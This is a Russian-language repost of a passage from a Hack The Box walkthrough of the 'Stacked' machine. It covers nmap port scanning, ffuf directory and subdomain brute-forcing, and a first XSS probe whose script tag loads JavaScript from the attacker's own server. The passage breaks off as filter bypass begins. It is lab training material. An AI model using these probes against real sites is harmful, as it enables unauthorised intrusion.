Категория > Новости > HTB Stacked. Разбираемся с LocalStack и AWS - «Новости»
HTB Stacked. Разбираемся с LocalStack и AWS - «Новости»26-03-2022, 00:03. Автор: Флорентина |
Hack The Box. Ее уровень сложности заявлен как «безумный» (Insane), но мы справимся, вот увидишь!warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.112 stacked.htb И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Находим три открытых порта:
Первым делом идем смотреть веб. Там нас встречает простенькая страничка, на которой идет отсчет времени. Поле ввода, судя по всему, не выполняет никаких операций, а лишь перебрасывает на Главная страница сайта stacked.htb Сканирование веб-контентаДавай поищем на сайте скрытые ресурсы. Справка: сканирование веба c ffufОдно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB. Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
Запускаем сканирование: ffuf -uhttp://stacked.htb/FUZZ -t 256 -wfiles_interesting.txt -mc200,204,301,302,307,401,405 Мы не нашли ничего интересного. Повторим сканирование в надежде обнаружить скрытые каталоги. ffuf -uhttp://stacked.htb/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt -mc200,204,301,302,307,401,405 Тоже ничего. Но заканчивать сканирование рано, ведь еще можно перебрать поддомены. Это должно привести нас к новым сайтам на том же сервере. Для этого будем перебирать виртуальный хост в HTTP-заголовке ffuf -uhttp://stacked.htb -t 256 -wsubdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -mc 200 И это дает результат — нам доступен еще один сайт. Добавляем запись в файл 10.10.11.112 stacked.htb portfolio.stacked.htb На сайте сказано про использование технологии Docker LocalStack для имитации сервисов AWS. Для подключения нам дают скачать файл Содержимое файла docker-compose.yml Чуть ниже видим форму, через которую можно отправить сообщение. Так как нам приходит уведомление, значит, это очевидное место для поиска XSS-уязвимости. Уведомление об отправке сообщения Попробуем отправить простой код, который должен загрузить JS-файл с нашего сервера: <script src="http://10.10.14.93/test.js">script> В ответ получаем сообщение о детекте XSS. Уведомление о детекте XSS Точка входаXSSНам предстоит прорваться сквозь фильтр XSS, а для этого первым делом выясним, где он работает — на сервере или прямо в нашем браузере. Это можно сделать, исправив значение полей при перехвате запроса в Перейти обратно к новости |